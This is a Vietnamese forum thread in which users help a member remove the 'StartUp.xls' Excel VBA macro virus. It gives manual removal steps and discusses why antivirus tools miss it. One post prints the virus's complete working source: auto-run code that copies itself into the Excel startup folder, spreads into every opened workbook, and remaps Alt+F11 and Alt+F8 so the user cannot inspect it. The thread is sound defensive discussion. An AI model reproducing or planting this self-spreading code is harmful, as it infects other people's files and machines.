Làm sao Xóa được file VBAProject(StarrtUp.xls) (1 người xem)

Liên hệ QC

Người dùng đang xem chủ đề này

hophoang

Thành viên tiêu biểu
Tham gia
23/6/11
Bài viết
719
Được thích
628
Nghề nghiệp
KToan Kho
Mấy hôm vừa qua mình có tải trên diễn đàn GPE về một file VBAProject(StarrtUp.xls) nhưng hôm nay mở ra máy báo có vi rut.Mình tìm nó để xóa nhưng không thấy nó nằm ở đâu.Khi visual thì thấy nó
Vậy làm sao mình xóa nó.xin anh chị giúp đỡ xin cám ơn!
 
Bạn đã tải file nào từ GPE, gửi lại lên mọi người xem thử rồi mới biết mà xử.
 
Dùng BKAV chọn chế độ diệt Macro, sẽ tiêu hết các loại VBA (cả trong file excel và add-ins)
 
Đừng nghĩ BKAV sử lý được chuyện này, BKAV đã trả giá cho việc xoá Macro trong file .XLS rồi nên giờ cũng rất cẩn trọng. Cụ thể Mình dùng Bkav Pro mà chẳng có tác dụng gì. Thường thì nó có thể phát hiện ra dạng VR Macro4 nhưng dạng code này thì nó chịu sợ nhầm code của User. Còn chấp nhận xóa tất thì khác chi ném chuột vỡ bình đâu?

Việc sử lý bằng tay như sau:
1/ Vào thư mục C:\Documents and Settings\Administrator\Application Data\Microsoft\Excel\XLSTART xoá file StartUp.xls.
2/Mở Excel vào Sercurity thiết lập:

-Sercurity Level: Very High.
-Trusted Publishers: Bỏ hết dấu kiểm.

3/Mở file bị dính Code. Nếu có hỏi gì thì đóng lại đừng OK. Mặc dù vậy nó vẫn tự động thiết lập lại Trusted Publishers
Vào VBA xoá Module StartUp trong file làm việc. Nếu trong Explore có StartUp Project thì chắc chắn nó đã cài được lại StartUp.xls trong thư mục nêu mục 1. Bạn nháy mở Module của nó và Remove toàn bộ các Code. Giờ ta giữ nguyên thằng này làm chương trình lầm tưởng là đã có File trong khi nó bị sạch code.
4/Giờ thoát Excel: Nó hỏi ta đồng ý lưu cả file ta mở và file StartUp.xls.
5/Ta xác định những file làm việc gần đây mở nó và xoá Code.
6/Thiết lập lại môi trường Excel

Đây là cách sử lý theo kinh nghiệm của mình khi sử lý file của 1 bạn trên GPE. Đồng thời các bạn nên kiểm tra trước khi gửi file tránh rắc rối cho mọi người.
 
Lần chỉnh sửa cuối:
Mấy hôm vừa qua mình có tải trên diễn đàn GPE về một file VBAProject(StarrtUp.xls) nhưng hôm nay mở ra máy báo có vi rut.Mình tìm nó để xóa nhưng không thấy nó nằm ở đâu.Khi visual thì thấy nó
Vậy làm sao mình xóa nó.xin anh chị giúp đỡ xin cám ơn!
Bạn tải cái này về diệt đi là hết liền àh.
 
s9.jpg
Cái này không quét không hết rồi bạn ơi.mình vừa thử xong
Cám ơn bạn nha
...........................................................................
Cho hỏi bạn ở gần thầy Ba tê không
 
View attachment 75666
Cái này không quét không hết rồi bạn ơi.mình vừa thử xong
Cám ơn bạn nha
...........................................................................
Cho hỏi bạn ở gần thầy Ba tê không
Mình thì thường dùng cái ấy để diệt thì OK, nếu vậy bạn dùng chương trình của Bác Nguyễn Duy Tuân đi, có xóa luôn các Name. Cảm ơn Bác Nguyễn Duy Tuân.
 
Mình thì thường dùng cái ấy để diệt thì OK, nếu vậy bạn dùng chương trình của Bác Nguyễn Duy Tuân đi, có xóa luôn các Name. Cảm ơn Bác Nguyễn Duy Tuân.
Có lẽ các bạn chưa hiểu con virus StartUp là cái gì? Nó có phải là Macro 4 đâu mà diệt!
Con StartUp này được viết bằng code VBA bình thường, làm sao các chương trình diệt virus phát hiện được (ý tôi muốn nói làm sao chương trình diệt virus biết đấy là virus mà không phải là code do các bạn tự viết ra)
Cho nên: Phải biết mình biết ta, phải biết "nó" là cái gì thì mới diệt được (giống anh sealand đã làm ấy)... không phải cứ có tool mạnh là an toàn đâu
(con này tôi bị dính vài lần rồi ... nó đúng là con virus "tào lao" nhất mà tôi từng gặp)
 
Lần chỉnh sửa cuối:
Có lẽ các bạn chưa hiểu con virus StartUp là cái gì? Nó có phải là Macro 4 đâu mà diệt!
Con StartUp này được viết bằng code VBA bình thường, làm sao các chương trình diệt virus phát hiện được (ý tôi muốn nói làm sao chương trình diệt virus biết đấy là virus mà không phải là code do các bạn tự viết ra)
Cho nên: Phải biết mình biết ta, phải biết "nó" là cái gì thì mới diệt được (giống anh sealand đã làm ấy)... không phải cứ có tool mạnh là an toàn đâu
(con này tôi bị dính vài lần rồi ... nó đúng là con virus "tào lao" nhất mà tôi từng gặp)
Tại em thấy con virus đó giống con virus ở bài 7 này mà em dùng chương trình đó diệt hết đó sư phụ.
 
Đây là code trong Module StartUp.xls. Các bạn tham khảo và hiểu cách nó gây sự:

Mã:
Sub auto_open()
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks("StartUp.xls").Save
Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
'====================================
Sub cop()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.Name
Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
Sheets(n$).Select
End If
End Sub
'====================================
Sub back()
On Error Resume Next
Application.OnKey "%{F8}", "StartUp.xls!escape"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!cop"
Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub

Trong file Startup.xls có 1 Module này. Khi mở file *.xls nó sẽ chép Module này vào. Khi mở lần sau ở máy khác không có file StartUp.xls thì nó lại tạo ra. Vậy là lại dính sang 1 máy mới.
 
Lần chỉnh sửa cuối:
Tại em thấy con virus đó giống con virus ở bài 7 này mà em dùng chương trình đó diệt hết đó sư phụ.
Nói thật, tôi không hề tin rằng có tool nào diệt được con này, ngoại trừ trường hợp: Tool ấy "nhắm" vào cái tên StartUp của module, hoặc giả tool ấy dò tìm đoạn code nào đó, nếu giống với thư viện lưu trử thì coi như nó là virus
Hic... E rằng không ổn!
----------
Dù sao thì cũng yên tâm: Nếu virus viết bằng XL4 mới sợ, còn viết bằng VBA thì chỉ có thể xem như 1 trò đùa hơi quá mà thôi
Ẹc... Ẹc...
------------
Trong file Startup.xls có 1 Module này. Khi mở file *.xls nó sẽ chép Module này vào. Khi mở lần sau ở máy khác không có file StartUp.xls thì nó lại tạo ra. Vậy là lại dính sang 1 máy mới.
Ngoài ra nó còn "cấm" tổ hợp phím Alt + F11 nữa đấy
 
Lần chỉnh sửa cuối:
Đây là code trong Module StartUp.xls. Các bạn tham khảo và hiểu cách nó gây sự:
Trong file Startup.xls có 1 Module này. Khi mở file *.xls nó sẽ chép Module này vào. Khi mở lần sau ở máy khác không có file StartUp.xls thì nó lại tạo ra. Vậy là lại dính sang 1 máy mới.
Đúng là như thế đó bác.Thông thường em hay tải bài trên diễn đàn về vào USB.lúc trưa em sang máy kế bên em mở thử thì nó lại có luôn.
Tiện đây em xin có ý kiến.các bạn viết bài nên xem kỹ rồi hãy đưa lên diễn đàn.đừng để con đó làm thêm rắc rối cho mọi người
 
Đúng là như thế đó bác.Thông thường em hay tải bài trên diễn đàn về vào USB.lúc trưa em sang máy kế bên em mở thử thì nó lại có luôn.
Tiện đây em xin có ý kiến.các bạn viết bài nên xem kỹ rồi hãy đưa lên diễn đàn.đừng để con đó làm thêm rắc rối cho mọi người
Cũng khó nói lắm... Có khi người ta bị dính mà không hề biết
Còn chúng ta, nếu cẩn thận, tốt nhất khi mở file đừng Enable macros ---> Kiểm tra code trong cửa sổ VBA, sau đó hẳn Enable macros cũng không muộn
Còn giả sử như lở tay Enable Macros và bị dính thì cũng đâu có sao... Nó chỉ là VBA code, xóa nó quá dễ dàng
 
Cũng khó nói lắm... Có khi người ta bị dính mà không hề biết
Còn giả sử như lở tay Enable Macros và bị dính thì cũng đâu có sao... Nó chỉ là VBA code, xóa nó quá dễ dàng
Ở #8 là một cách xóa ngoài ra bác còn cách nào nữa vậy? cho em và mọi người luôn thể.
 
Ở #8 là một cách xóa ngoài ra bác còn cách nào nữa vậy? cho em và mọi người luôn thể.
Chỉ có cách đó thôi! Thao tác gồm 2 công đoạn:
- Xóa file StartUp.xls trong thư mục XLSTART
- Xóa module StartUp trong file đang mở
Cái rẹt là xong trong vòng 30s thôi mà
Ẹc... Ẹc...
 
Em đang gửi file của bác sealad xuất hiện con này !
 

File đính kèm

Web KT

Bài viết mới nhất

Back
Top Bottom